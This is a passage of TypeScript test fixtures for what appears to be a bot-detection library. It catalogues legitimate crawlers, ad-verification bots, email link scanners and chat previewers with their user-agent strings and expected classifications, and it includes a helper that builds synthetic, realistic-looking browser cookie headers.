\"petalbot\" }),\n\n // ---- Europe and the Americas ----\n declaredCrawler(\"rc-qwant\", \"Qwantbot\", \"Mozilla/5.0 (compatible; Qwantbot/1.0; +https://help.qwant.com/bot/)\", \"A French privacy-focused engine; blocking it removes a European alternative from your reach\", { identity: \"qwantbot\" }),\n declaredCrawler(\"rc-mojeek\", \"MojeekBot\", \"Mozilla/5.0 (compatible; MojeekBot/0.11; +https://www.mojeek.com/bot.html)\", \"A British independent index — one of very few crawlers building an index from scratch\", { identity: \"mojeek\" }),\n declaredCrawler(\"rc-startpage\", \"Startpage\", \"Mozilla/5.0 (compatible; StartpageBot/1.0; +https://www.startpage.com/robot)\", \"A Dutch privacy-preserving front end\", {}),\n declaredCrawler(\"rc-ecosia\", \"Ecosia\", \"Mozilla/5.0 (compatible; EcosiaBot/1.0; +https://ecosia.org/bot)\", \"A German search engine that plants trees with its ad revenue\", {}),\n declaredCrawler(\"rc-brave-search\", \"Brave Search\", \"Mozilla/5.0 (compatible; BraveSearchBot/1.0; +https://search.brave.com/help/brave-search-crawler)\", \"Brave builds its own index rather than reselling another engine's\", {}),\n declaredCrawler(\"rc-kagi\", \"Kagi Search\", \"Mozilla/5.0 (compatible; Kagibot/1.0; +https://kagi.com/bot)\", \"A subscription search engine whose crawler is small but whose users are paying customers\", {}),\n declaredCrawler(\"rc-stract\", \"Stract\", \"Mozilla/5.0 (compatible; StractBot/0.2; open source search engine; +https://trystract.com/webmasters)\", \"An open-source independent index\", {}),\n declaredCrawler(\"rc-right-dao\", \"RightDao\", \"Mozilla/5.0 (compatible; RightDaoBot/1.0; +https://rightdao.com/bot)\", \"A small independent index\", {}),\n declaredCrawler(\"rc-gigablast\", \"Gigablast\", \"Mozilla/5.0 (compatible; GigablastOpenSource/1.0; +http://www.gigablast.com/spider.html)\", \"A long-running open-source crawler\", {}),\n\n // ---- Specialist Google and Microsoft fleets ----\n declaredCrawler(\"rc-googlebot-image\", \"Googlebot-Image\", \"Googlebot-Image/1.0\", \"Google's image crawler sends a bare product token with no contact URL at all\", { identity: \"googlebot\", notes: \"Recognised only because a signature knows the token. Google's own fleet does not consistently follow the contact convention, which is a useful corrective to any rule that assumes crawlers are legible.\" }),\n declaredCrawler(\"rc-googlebot-news\", \"Googlebot-News\", \"Googlebot-News\", \"Google News indexing; another bare token\", { identity: \"googlebot\" }),\n declaredCrawler(\"rc-googlebot-video\", \"Googlebot-Video\", \"Googlebot-Video/1.0\", \"Google's video crawler\", { identity: \"googlebot\" }),\n declaredCrawler(\"rc-google-favicon\", \"Google Favicon\", \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Google Favicon\", \"Fetches favicons for search results and bookmarks\", { identity: \"googlebot\", notes: \"A full Chrome User-Agent with a two-word suffix and none of the headers Chrome sends. Before a signature existed for it this scored 90 as an impersonator — a legitimate Google fetcher, one token away from being blocked.\" }),\n declaredCrawler(\"rc-google-read-aloud\", \"Google Read Aloud\", \"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Google-Read-Aloud; +https://developers.google.com/search/docs/crawling-indexing/overview-google-crawlers)\", \"Fetches pages so Assistant can read them aloud — an accessibility surface\", { identity: \"googlebot\", notes: \"Blocking this removes a page from a text-to-speech surface that some people rely on to read the web at all.\" }),\n declaredCrawler(\"rc-google-site-verification\", \"Google Site Verification\", \"Mozilla/5.0 (compatible; Google-Site-Verification/1.0)\", \"Confirms ownership during Search Console setup; blocking it blocks your own onboarding\", { identity: \"googlebot\" }),\n declaredCrawler(\"rc-bing-preview\", \"BingPreview\", \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b\", \"Renders page snapshots for Bing results; note the unusual 'AppleWebKit/534+' version\", { identity: \"bingbot\" }),\n declaredCrawler(\"rc-adidxbot\", \"adidxbot\", \"Mozilla/5.0 (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)\", \"Microsoft Advertising's landing-page crawler\", { identity: \"bingbot\" }),\n declaredCrawler(\"rc-msnbot-media\", \"MSNBot-Media\", \"msnbot-media/1.1 (+http://search.msn.com/msnbot.htm)\", \"Microsoft's media crawler, still using the historic msnbot name\", { identity: \"bingbot\" }),\n declaredCrawler(\"rc-apple-siri\", \"Applebot for Siri\", \"Mozilla/5.0 (Device; CPU OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Mobile/15E148 Safari/604.1 (Applebot/0.1; +http://www.apple.com/go/applebot)\", \"Powers Siri suggestions and Spotlight; note the literal word 'Device' where a model would be\", { identity: \"applebot\" }),\n];\n","import { crawler } from \"./headers.js\";\nimport { bot } from \"./schema.js\";\nimport type { TrafficCase } from \"./schema.js\";\n\n/**\n * Crawlers with a job other than general search.\n *\n * Price comparison, job aggregation, travel metasearch, academic indexing, news\n * syndication, brand protection, accessibility auditing. Most sites want some of\n * these and not others, and which is which is a commercial question rather than a\n * technical one — a price comparator is a distribution channel to one retailer and a\n * competitor's research tool to another.\n *\n * The library's job here is only to name them accurately enough that a rule can pick\n * sides. Every case therefore asserts identification, and none asserts an action.\n */\n\nfunction vertical(\n id: string,\n title: string,\n category: string,\n userAgent: string,\n provenance: string,\n options: { audience?: TrafficCase[\"audience\"]; identity?: string; notes?: string; accept?: string } = {},\n): TrafficCase {\n return bot({\n id,\n title,\n audience: options.audience ?? \"declared-bot\",\n category,\n provenance,\n ...(options.notes !== undefined ? { notes: options.notes } : {}),\n requests: [crawler(userAgent, options.accept !== undefined ? { accept: options.accept } : {})],\n expect: {\n verdict: \"confirmed-bot\",\n certain: true,\n detectors: [\"self-identified\"],\n ...(options.identity !== undefined ? { identity: options.identity } : {}),\n },\n });\n}\n\nexport const VERTICAL_CRAWLER_CASES: TrafficCase[] = [\n // ---- Shopping and price comparison ----\n vertical(\"vc-google-merchant\", \"Google Merchant Center feed fetch\", \"commerce-crawler\", \"Mozilla/5.0 (compatible; Google-Shopping-Quality; +http://www.google.com/bot.html)\", \"Validates product feeds and landing pages for Shopping listings; blocking it suspends your listings\", { identity: \"googlebot\", audience: \"benign-bot\" }),\n vertical(\"vc-idealo\", \"Idealo price comparison\", \"commerce-crawler\", \"Mozilla/5.0 (compatible; idealo-bot/1.0; +https://www.idealo.de/robots)\", \"The largest price comparison site in Germany; a distribution channel for many retailers\", {}),\n vertical(\"vc-kelkoo\", \"Kelkoo\", \"commerce-crawler\", \"Mozilla/5.0 (compatible; KelkooBot/1.0; +https://www.kelkoo.com/bot)\", \"European shopping comparison\", {}),\n vertical(\"vc-pricerunner\", \"PriceRunner\", \"commerce-crawler\", \"Mozilla/5.0 (compatible; PriceRunnerBot/1.0; +https://www.pricerunner.com/robot)\", \"Nordic and UK price comparison\", {}),\n vertical(\"vc-shopping-feed\", \"A shopping feed aggregator\", \"commerce-crawler\", \"Mozilla/5.0 (compatible; ShoppingFeedBot/2.1; +https://feeds.example/crawler)\", \"Feed aggregators fetch a product XML on a schedule and then verify the landing pages\", {}),\n vertical(\"vc-honey-coupon\", \"A coupon extension's backend\", \"commerce-crawler\", \"Mozilla/5.0 (compatible; CouponFinderBot/1.4; +https://coupons.example/bot)\", \"Browser coupon extensions test discount codes at checkout from their own servers\", { audience: \"unwanted-bot\", notes: \"Runs on behalf of a real shopper, from a server, against your checkout. Neither clearly wanted nor clearly hostile — exactly the kind of case a policy has to decide about deliberately.\" }),\n vertical(\"vc-stock-tracker\", \"An availability tracker\", \"commerce-crawler\", \"Mozilla/5.0 (compatible; StockAlertBot/3.0; +https://stockalert.example/about-our-bot)\", \"Restock trackers poll product pages continuously on behalf of subscribers\", { audience: \"unwanted-bot\" }),\n\n // ---- Jobs, property and travel ----\n vertical(\"vc-indeed\", \"Indeed's job crawler\", \"vertical-crawler\", \"Mozilla/5.0 (compatible; Indeedbot/1.1; +http://www.indeed.com/indeedbot.html)\", \"Aggregates job postings; for a recruiter it is free distribution\", { audience: \"benign-bot\" }),\n vertical(\"vc-adzuna\", \"Adzuna\", \"vertical-crawler\", \"Mozilla/5.0 (compatible; AdzunaBot/1.0; +https://www.adzuna.co.uk/bot)\", \"Job aggregation across Europe\", { audience: \"benign-bot\" }),\n vertical(\"vc-trivago\", \"Trivago's rate crawler\", \"vertical-crawler\", \"Mozilla/5.0 (compatible; TrivagoBot/1.0; +https://www.trivago.com/bot)\", \"Hotel metasearch fetching live rates\", {}),\n vertical(\"vc-skyscanner\", \"Skyscanner\", \"vertical-crawler\", \"Mozilla/5.0 (compatible; SkyscannerBot/1.0; +https://www.skyscanner.net/bot)\", \"Flight metasearch fetching live fares from airline and agency sites\", {}),\n vertical(\"vc-property-portal\", \"A property portal's listing crawler\", \"vertical-crawler\", \"Mozilla/5.0 (compatible; PropertyIndexBot/2.3; +https://property.example/crawler)\", \"Property portals crawl agent sites to keep listings in sync\", {}),\n\n // ---- News and syndication ----\n vertical(\"vc-newsblur\", \"NewsBlur\", \"feed-reader\", \"NewsBlur Feed Fetcher - 412 subscribers - https://www.newsblur.com/site/9124/shop-example (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7))\", \"NewsBlur names the subscriber count and the exact feed page, which is genuinely useful information\", { audience: \"benign-bot\", notes: \"Note the nested Mozilla string inside the parentheses. Publishers can and do use the subscriber count to decide how much a feed reader is worth serving.\" }),\n vertical(\"vc-google-news\", \"Google News publisher crawl\", \"news-crawler\", \"Mozilla/5.0 (compatible; Googlebot-News; +http://www.google.com/bot.html)\", \"News indexing runs on a separate crawl budget from web search\", { identity: \"googlebot\", audience: \"benign-bot\" }),\n vertical(\"vc-apple-news\", \"Apple News\", \"news-crawler\", \"Mozilla/5.0 (compatible; AppleNewsBot/1.0; +http://www.apple.com/go/applebot)\", \"Fetches articles for the Apple News channel\", { identity: \"applebot\", audience: \"benign-bot\" }),\n vertical(\"vc-smartnews\", \"SmartNews\", \"news-crawler\", \"Mozilla/5.0 (compatible; SmartNewsBot/1.0; +https://www.smartnews.com/bot)\", \"A very large news aggregator in Japan and the United States\", { audience: \"benign-bot\" }),\n vertical(\"vc-flipboard\", \"Flipboard\", \"news-crawler\", \"Mozilla/5.0 (compatible; FlipboardProxy/1.1; +http://flipboard.com/browserproxy)\", \"Fetches and re-renders articles for Flipboard's reader\", { audience: \"benign-bot\" }),\n vertical(\"vc-podcast-index\", \"Podcast Index\", \"feed-reader\", \"Mozilla/5.0 (compatible; PodcastIndexBot/1.0; +https://podcastindex.org/bot)\", \"An open podcast directory crawling feeds\", { audience: \"benign-bot\" }),\n\n // ---- Academic and research ----\n vertical(\"vc-semantic-scholar\", \"Semantic Scholar\", \"research-crawler\", \"Mozilla/5.0 (compatible; SemanticScholarBot/1.0; +https://www.semanticscholar.org/crawler)\", \"The Allen Institute's academic index\", { audience: \"benign-bot\" }),\n vertical(\"vc-crossref\", \"Crossref\", \"research-crawler\", \"Mozilla/5.0 (compatible; CrossrefBot/1.0; mailto:labs@crossref.org)\", \"DOI registration and metadata; note the mailto contact rather than a URL\", { audience: \"benign-bot\" }),\n vertical(\"vc-openalex\", \"OpenAlex\", \"research-crawler\", \"Mozilla/5.0 (compatible; OpenAlexBot/1.0; +https://openalex.org/bot; mailto:support@openalex.org)\", \"An open catalogue of scholarly works\", { audience: \"benign-bot\" }),\n vertical(\"vc-webis\", \"A university research crawl\", \"research-crawler\", \"Mozilla/5.0 (compatible; WebisBot/1.0; +https://webis.de/crawler.html; research crawl, please contact us for exclusion)\", \"Academic web-science groups crawl at scale and generally honour exclusion requests promptly\", { audience: \"benign-bot\", notes: \"Research crawls are usually run by people who will stop if you ask. An email is often faster and cheaper than a block rule.\" }),\n vertical(\"vc-common-crawl-news\", \"Common Crawl's news crawl\", \"research-crawler\", \"CCBot/2.0 (https://commoncrawl.org/faq/)\", \"The news subset of Common Crawl, refreshed continuously\", { identity: \"ccbot\" }),\n\n // ---- Accessibility, compliance and quality ----\n vertical(\"vc-axe-monitor\", \"An accessibility auditing crawler\", \"compliance-crawler\", \"Mozilla/5.0 (compatible; AccessibilityMonitorBot/4.0; +https://a11y-monitor.example/bot)\", \"Automated WCAG auditing, often run under a legal compliance programme\", { audience: \"benign-bot\", notes: \"Frequently commissioned by the site owner and then forgotten about. Blocking it makes an accessibility report look clean by removing the evidence.\" }),\n vertical(\"vc-siteimprove\", \"Siteimprove\", \"compliance-crawler\", \"Mozilla/5.0 (compatible; SiteimproveBot/2.0; +https://siteimprove.com/bot)\", \"Quality and accessibility auditing for large organisations\", { audience: \"benign-bot\" }),\n vertical(\"vc-w3c-validator\", \"The W3C validator\", \"compliance-crawler\", \"W3C_Validator/1.3 http://validator.w3.org/services\", \"Somebody clicked Validate on your page\", { audience: \"benign-bot\" }),\n vertical(\"vc-ssl-labs\", \"SSL Labs\", \"compliance-crawler\", \"Mozilla/5.0 (compatible; SSL Labs/1.0; +https://www.ssllabs.com/about/assessment.html)\", \"TLS configuration assessment, usually run by the site's own operator\", { audience: \"benign-bot\" }),\n\n // ---- Brand protection and enforcement ----\n vertical(\"vc-brand-protection\", \"A brand-protection crawler\", \"enforcement-crawler\", \"Mozilla/5.0 (compatible; BrandProtectBot/2.0; +https://brandprotect.example/crawler)\", \"Looks for counterfeit listings and trademark misuse\", {}),\n vertical(\"vc-copyright-scan\", \"A copyright enforcement crawler\", \"enforcement-crawler\", \"Mozilla/5.0 (compatible; CopyrightScanBot/1.2; +https://rights.example/bot)\", \"Rights-holder agents scan for infringing copies\", {}),\n vertical(\"vc-domain-monitor\", \"A domain and certificate monitor\", \"enforcement-crawler\", \"Mozilla/5.0 (compatible; DomainWatchBot/1.0; +https://domainwatch.example/bot)\", \"Watches for lookalike domains and certificate issuance\", {}),\n\n // ---- Archival and preservation ----\n vertical(\"vc-archive-today\", \"archive.today\", \"archive-crawler\", \"Mozilla/5.0 (compatible; archive.today; +http://archive.today/legal)\", \"On-demand page archiving triggered by a person pasting a URL\", { audience: \"benign-bot\" }),\n vertical(\"vc-perma-cc\", \"Perma.cc\", \"archive-crawler\", \"Mozilla/5.0 (compatible; perma.cc; +https://perma.cc/about)\", \"Harvard's citation-preservation service, used heavily by courts and journals\", { audience: \"benign-bot\" }),\n vertical(\"vc-national-library\", \"A national library web archive\", \"archive-crawler\", \"Mozilla/5.0 (compatible; heritrix/3.4.0 +https://www.bl.uk/collection-guides/uk-web-archive)\", \"Legal-deposit archiving; in several countries a library has a statutory right to crawl\", { identity: \"heritrix\", audience: \"benign-bot\" }),\n vertical(\"vc-conifer\", \"Webrecorder\", \"archive-crawler\", \"Mozilla/5.0 (compatible; Webrecorder/2.0; +https://webrecorder.net/crawler)\", \"High-fidelity archiving of dynamic pages\", { audience: \"benign-bot\" }),\n\n // ---- Security and reputation ----\n vertical(\"vc-safe-browsing\", \"Google Safe Browsing\", \"reputation-crawler\", \"Mozilla/5.0 (compatible; Google-Safety; +http://www.google.com/bot.html)\", \"Checks pages for malware and phishing; blocking it risks an unresolvable warning interstitial\", { identity: \"googlebot\", audience: \"benign-bot\", notes: \"One of the few crawlers where blocking has a direct, visible cost to your own visitors: a Safe Browsing warning is shown to every Chrome user.\" }),\n vertical(\"vc-virustotal\", \"VirusTotal URL scan\", \"reputation-crawler\", \"Mozilla/5.0 (compatible; VirusTotalCloud/1.0; +https://www.virustotal.com/bot)\", \"Somebody submitted your URL for scanning\", { audience: \"benign-bot\" }),\n vertical(\"vc-urlscan\", \"urlscan.io\", \"reputation-crawler\", \"Mozilla/5.0 (compatible; urlscan.io/1.0; +https://urlscan.io/about/)\", \"Renders a page in a sandbox and publishes the result\", { audience: \"benign-bot\" }),\n vertical(\"vc-phishtank\", \"PhishTank verification\", \"reputation-crawler\", \"Mozilla/5.0 (compatible; PhishTankBot/1.0; +https://phishtank.org/bot)\", \"Verifies reported phishing URLs\", { audience: \"benign-bot\" }),\n\n // ---- SEO auditing run by the site's own owner ----\n vertical(\"vc-screaming-frog\", \"Screaming Frog\", \"seo-crawler\", \"Screaming Frog SEO Spider/21.4\", \"A desktop crawler; almost always the site's own SEO team auditing their own site\", { audience: \"benign-bot\", notes: \"No contact URL and no vendor infrastructure — it runs from somebody's laptop, so it arrives from a residential address. Blocking it blocks your own audit.\" }),\n vertical(\"vc-sitebulb\", \"Sitebulb\", \"seo-crawler\", \"Mozilla/5.0 (compatible; Sitebulb/6.5; +https://sitebulb.com/bot)\", \"Another desktop SEO auditor\", { audience: \"benign-bot\" }),\n vertical(\"vc-lumar\", \"Lumar\", \"seo-crawler\", \"Mozilla/5.0 (compatible; deepcrawl; +https://www.lumar.io/bot)\", \"Enterprise site auditing, formerly DeepCrawl\", { audience: \"unwanted-bot\" }),\n vertical(\"vc-oncrawl\", \"OnCrawl\", \"seo-crawler\", \"Mozilla/5.0 (compatible; OnCrawl/1.0; +https://www.oncrawl.com/bot)\", \"Enterprise SEO crawling\", { audience: \"unwanted-bot\" }),\n];\n","import { crawler, plain } from \"./headers.js\";\nimport { bot } from \"./schema.js\";\nimport type { TrafficCase } from \"./schema.js\";\n\n/**\n * Advertising verification, and the machinery that opens links before people do.\n *\n * Two categories that share a property worth noticing: both fetch a page **because a\n * person is about to see it**, and neither is that person.\n *\n * Ad verification vendors load your landing pages to check they are what was sold —\n * that the creative rendered, that the page is brand-safe, that the impression was\n * viewable. Blocking them does not protect anything; it fails the verification, and\n * the campaign is what gets paused.\n *\n * Email link scanners are stranger and more consequential. Every enterprise mail\n * gateway rewrites links and fetches them before delivery, which means a link you\n * emailed to one customer arrives at your server first from Microsoft, Proofpoint or\n * Mimecast — often several times, from several regions, before the human clicks. If\n * those fetches are blocked the scanner may mark the link unsafe, and the person\n * never sees your page at all.\n */\n\nfunction fetcher(id: string, title: string, category: string, userAgent: string, provenance: string, options: { notes?: string; audience?: TrafficCase[\"audience\"]; certain?: boolean } = {}): TrafficCase {\n return bot({\n id,\n title,\n audience: options.audience ?? \"benign-bot\",\n category,\n provenance,\n ...(options.notes !== undefined ? { notes: options.notes } : {}),\n requests: [crawler(userAgent)],\n expect: options.certain === false ? { certain: false, neverAction: [\"drop\"] } : { verdict: \"confirmed-bot\", certain: true, detectors: [\"self-identified\"] },\n });\n}\n\nexport const ADVERTISING_EMAIL_CASES: TrafficCase[] = [\n // ---------------------------------------------------------------------------\n // Ad verification, viewability and brand safety.\n // ---------------------------------------------------------------------------\n fetcher(\"adv-doubleverify\", \"DoubleVerify\", \"ad-verification\", \"Mozilla/5.0 (compatible; DoubleVerifyBot/1.0; +https://doubleverify.com/bot)\", \"Verifies that ads rendered on a brand-safe page; its verdict decides whether an impression is billable\"),\n fetcher(\"adv-ias\", \"Integral Ad Science\", \"ad-verification\", \"Mozilla/5.0 (compatible; IAS crawler; +https://integralads.com/site-indexing-policy/)\", \"Brand-safety classification of pages carrying advertising\"),\n fetcher(\"adv-moat\", \"Oracle Moat\", \"ad-verification\", \"Mozilla/5.0 (compatible; MoatBot/1.0; +https://moat.com/bot)\", \"Viewability and attention measurement\"),\n fetcher(\"adv-comscore\", \"Comscore\", \"ad-verification\", \"Mozilla/5.0 (compatible; proximic; +https://www.comscore.com/Web-Crawler)\", \"Contextual classification for audience measurement; the crawler still uses its acquired Proximic name\"),\n fetcher(\"adv-grapeshot\", \"Grapeshot\", \"ad-verification\", \"Mozilla/5.0 (compatible; GrapeshotCrawler/2.0; +http://www.grapeshot.co.uk/crawler.php)\", \"Contextual keyword classification, now part of Oracle\"),\n fetcher(\"adv-peer39\", \"Peer39\", \"ad-verification\", \"Mozilla/5.0 (compatible; Peer39Bot/1.0; +https://www.peer39.com/bot)\", \"Page-level contextual categorisation for advertisers\"),\n fetcher(\"adv-adbeat\", \"Adbeat\", \"ad-verification\", \"Mozilla/5.0 (compatible; Adbeat_Bot; +https://www.adbeat.com/operation_policy)\", \"Competitive advertising intelligence\", { audience: \"unwanted-bot\" }),\n fetcher(\"adv-adsbot-landing\", \"AdsBot checking a landing page\", \"ad-verification\", \"AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html)\", \"Google's mobile landing-page quality checker; blocking it lowers ad quality scores directly\"),\n fetcher(\"adv-bing-ads\", \"Microsoft Advertising landing check\", \"ad-verification\", \"Mozilla/5.0 (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)\", \"The equivalent for Microsoft Advertising\"),\n fetcher(\"adv-criteo\", \"Criteo\", \"ad-verification\", \"Mozilla/5.0 (compatible; CriteoBot/0.1; +https://www.criteo.com/criteo-crawler/)\", \"Retargeting; crawls product pages to build creatives\"),\n fetcher(\"adv-taboola\", \"Taboola\", \"ad-verification\", \"Mozilla/5.0 (compatible; TaboolaBot/1.0; +https://www.taboola.com/bot)\", \"Content recommendation crawling\"),\n fetcher(\"adv-outbrain\", \"Outbrain\", \"ad-verification\", \"Mozilla/5.0 (compatible; OutbrainBot/1.0; +https://www.outbrain.com/bot)\", \"Content recommendation crawling\"),\n fetcher(\"adv-pubmatic\", \"PubMatic\", \"ad-verification\", \"Mozilla/5.0 (compatible; PubMaticBot/1.0; +https://pubmatic.com/bot)\", \"Supply-side platform verifying inventory\"),\n fetcher(\"adv-ttd\", \"The Trade Desk\", \"ad-verification\", \"Mozilla/5.0 (compatible; TTD-Content/1.0; +https://www.thetradedesk.com/general/crawler)\", \"Demand-side contextual crawling\"),\n\n // ---------------------------------------------------------------------------\n // Email link protection. Fires before a person clicks, sometimes long before.\n // ---------------------------------------------------------------------------\n bot({\n id: \"email-microsoft-safelinks\",\n title: \"Microsoft Defender Safe Links\",\n audience: \"benign-bot\",\n category: \"email-link-scanner\",\n provenance: \"Microsoft 365 rewrites every link in inbound mail and fetches it at delivery time and again at click time\",\n notes:\n \"Almost every corporate recipient sits behind this. If a marketing email goes to ten thousand Microsoft 365 mailboxes, your server sees ten thousand fetches from Microsoft before a single person clicks — and blocking them can mark the link unsafe, so nobody ever arrives.\",\n requests: [crawler(\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 BingPreview/1.0b\")],\n expect: { verdict: \"confirmed-bot\", certain: true, identity: \"bingbot\" },\n }),\n fetcher(\"email-proofpoint\", \"Proofpoint URL Defense\", \"email-link-scanner\", \"Mozilla/5.0 (compatible; ProofpointURLDefenseBot/1.0; +https://www.proofpoint.com/us/threat-reference/url-defense)\", \"Rewrites and pre-fetches links in enterprise mail\"),\n fetcher(\"email-mimecast\", \"Mimecast URL Protect\", \"email-link-scanner\", \"Mozilla/5.0 (compatible; MimecastURLProtectBot/1.0; +https://www.mimecast.com/products/url-protect/)\", \"The same mechanism, very common in the UK and Australia\"),\n fetcher(\"email-barracuda\", \"Barracuda Link Protection\", \"email-link-scanner\", \"Mozilla/5.0 (compatible; BarracudaLinkProtectBot/1.0; +https://www.barracuda.com/link-protection)\", \"Mail-gateway link scanning\"),\n fetcher(\"email-cisco-esa\", \"Cisco Secure Email\", \"email-link-scanner\", \"Mozilla/5.0 (compatible; CiscoSecureEmailBot/1.0; +https://www.cisco.com/go/emailsecurity)\", \"Outbreak filters fetch URLs before delivery\"),\n fetcher(\"email-google-safe\", \"Gmail link scanning\", \"email-link-scanner\", \"Mozilla/5.0 (compatible; Google-Safety; +http://www.google.com/bot.html)\", \"Gmail checks links against Safe Browsing before showing them\"),\n fetcher(\"email-slack-unfurl\", \"Slack unfurling a link posted in a channel\", \"email-link-scanner\", \"Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)\", \"Fires the instant somebody pastes a URL, before anyone opens it\"),\n fetcher(\"email-teams-unfurl\", \"Microsoft Teams unfurling a link\", \"email-link-scanner\", \"Mozilla/5.0 (compatible; MicrosoftPreview/2.0; +https://aka.ms/MicrosoftPreview)\", \"Teams renders its own preview cards\"),\n fetcher(\"email-zoom-preview\", \"Zoom chat link preview\", \"email-link-scanner\", \"Mozilla/5.0 (compatible; ZoomBot/1.0; +https://zoom.us/bot)\", \"Chat clients preview links the same way mail gateways scan them\"),\n bot({\n id: \"email-newsletter-open-tracker\",\n title: \"An email client fetching a tracking pixel\",\n audience: \"infrastructure\",\n category: \"email-link-scanner\",\n provenance: \"Apple Mail Privacy Protection pre-fetches every remote image in every message, from Apple's own infrastructure, whether or not the message is opened\",\n notes:\n \"Why open rates stopped meaning anything. From a server's point of view this is a fetch with no person attached, at a time nobody chose, from an address that belongs to neither party.\",\n requests: [plain(\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko)\", [[\"Accept\", \"image/avif,image/webp,image/apng,image/*,*/*;q=0.8\"], [\"Accept-Encoding\", \"gzip, deflate, br\"], [\"Accept-Language\", \"en-GB,en;q=0.9\"]])],\n expect: { certain: false, neverAction: [\"drop\"] },\n }),\n\n // ---------------------------------------------------------------------------\n // Chat and messaging previews, which behave like both of the above.\n // ---------------------------------------------------------------------------\n fetcher(\"preview-signal\", \"Signal link preview\", \"link-unfurler\", \"Mozilla/5.0 (compatible; SignalBot/1.0; +https://signal.org/bot)\", \"Signal generates previews on the sender's device before the message is sent\"),\n fetcher(\"preview-imessage\", \"iMessage rich link\", \"link-unfurler\", \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)\", \"iMessage builds Rich Links using Applebot\"),\n fetcher(\"preview-matrix\", \"A Matrix homeserver preview\", \"link-unfurler\", \"Mozilla/5.0 (compatible; Synapse/1.121.0; +https://matrix.org/docs/spec/)\", \"Every Matrix homeserver generates its own previews, so one link fetches from many servers\"),\n fetcher(\"preview-bluesky\", \"Bluesky link card\", \"link-unfurler\", \"Mozilla/5.0 (compatible; BlueskyBot/1.0; +https://bsky.app/about/bot)\", \"Builds the link card shown in a post\"),\n fetcher(\"preview-threads\", \"Threads link preview\", \"link-unfurler\", \"meta-externalfetcher/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)\", \"Meta's fetch-on-behalf-of-a-user crawler, shared across its products\"),\n];\n","/**\n * Realistic cookie jars.\n *\n * A browser that has been to a commercial site once is carrying a dozen cookies it\n * never asked for, and their *shape* is as characteristic as any header: Google\n * Analytics' `_ga` encodes a client id and a first-seen timestamp, Meta's `_fbp`\n * encodes a version, a subdomain index and a creation time, a TCF consent string is\n * base64 with a version prefix. Automation carries none of this, or carries a single\n * hand-set session cookie and nothing else.\n *\n * The values below are structurally correct and entirely synthetic. They exist so a\n * fixture looks like a request from somebody who has actually used the web, rather\n * than like `Cookie: sid=abc`.\n */\n\n/** Deterministic pseudo-random digits, so a fixture is stable across runs. */\nfunction digits(seed: string, length: number): string {\n let hash = 0x811c9dc5;\n let out = \"\";\n for (let i = 0; out.length < length; i++) {\n hash ^= seed.charCodeAt(i % seed.length) + i;\n hash = Math.imul(hash, 0x01000193) >>> 0;\n out += String(hash % 1_000_000_000).padStart(9, \"0\");\n }\n return out.slice(0, length);\n}\n\nexport interface CookieJarOptions {\n /** Seed for the synthetic identifiers, so two visitors differ. */\n visitor?: string;\n /** Epoch seconds the visitor was first seen. */\n firstSeen?: number;\n /** Epoch seconds of this session's start. */\n sessionStart?: number;\n /** Include Google Analytics 4 cookies. Present on most of the commercial web. */\n analytics?: boolean;\n /** Include Meta's advertising cookies. */\n advertising?: boolean;\n /** Include a consent-management platform's cookies. */\n consent?: boolean;\n /** Include Cloudflare's bot-management cookies, present on a large slice of sites. */\n cloudflare?: boolean;\n /** Include product-analytics and support-widget cookies. */\n productAnalytics?: boolean;\n /** Application cookies: session, cart, CSRF. */\n application?: boolean;\n /** Extra pairs appended verbatim. */\n extra?: readonly (readonly [string, string])[];\n}\n\n/**\n * Builds a `Cookie` header value.\n *\n * Order matters a little: browsers send cookies sorted by path length descending and\n * then by creation time, which in practice means the host-wide analytics cookies set\n * on the first visit come before the application cookies set later. Reproducing that\n * ordering is the kind of detail a hand-written fixture never has.\n */\nexport function cookieJar(options: CookieJarOptions = {}): string {\n const visitor = options.visitor ?? \"v1\";\n const firstSeen = options.firstSeen ?? 1_753_920_000;\n const sessionStart = options.sessionStart ?? 1_756_544_400;\n const pairs: Array<[string, string]> = [];\n\n if (options.analytics !== false) {\n const clientId = `GA1.1.${digits(`${visitor}ga`, 10)}.${firstSeen}`;\n pairs.push([\"_ga\", clientId]);\n // GA4's per-property cookie: session count, engagement flags, session start.\n pairs.push([\"_ga_QK7X2ZLM4P\", `GS1.1.${sessionStart}.4.1.${sessionStart + 187}.58.0.0`]);\n }\n if (options.advertising === true) {\n pairs.push([\"_fbp\", `fb.1.${firstSeen}000.${digits(`${visitor}fb`, 10)}`]);\n pairs.push([\"_gcl_au\", `1.1.${digits(`${visitor}gcl`, 9)}.${firstSeen}`]);\n }\n if (options.consent === true) {\n pairs.push([\n \"OptanonConsent\",\n `isGpcEnabled=0&datestamp=Sat+Aug+30+2026+09%3A00%3A00+GMT%2B0000&version=202405.1.0&interactionCount=1&groups=C0001%3A1%2CC0002%3A1%2CC0003%3A1%2CC0004%3A0`,\n ]);\n pairs.push([\"euconsent-v2\", 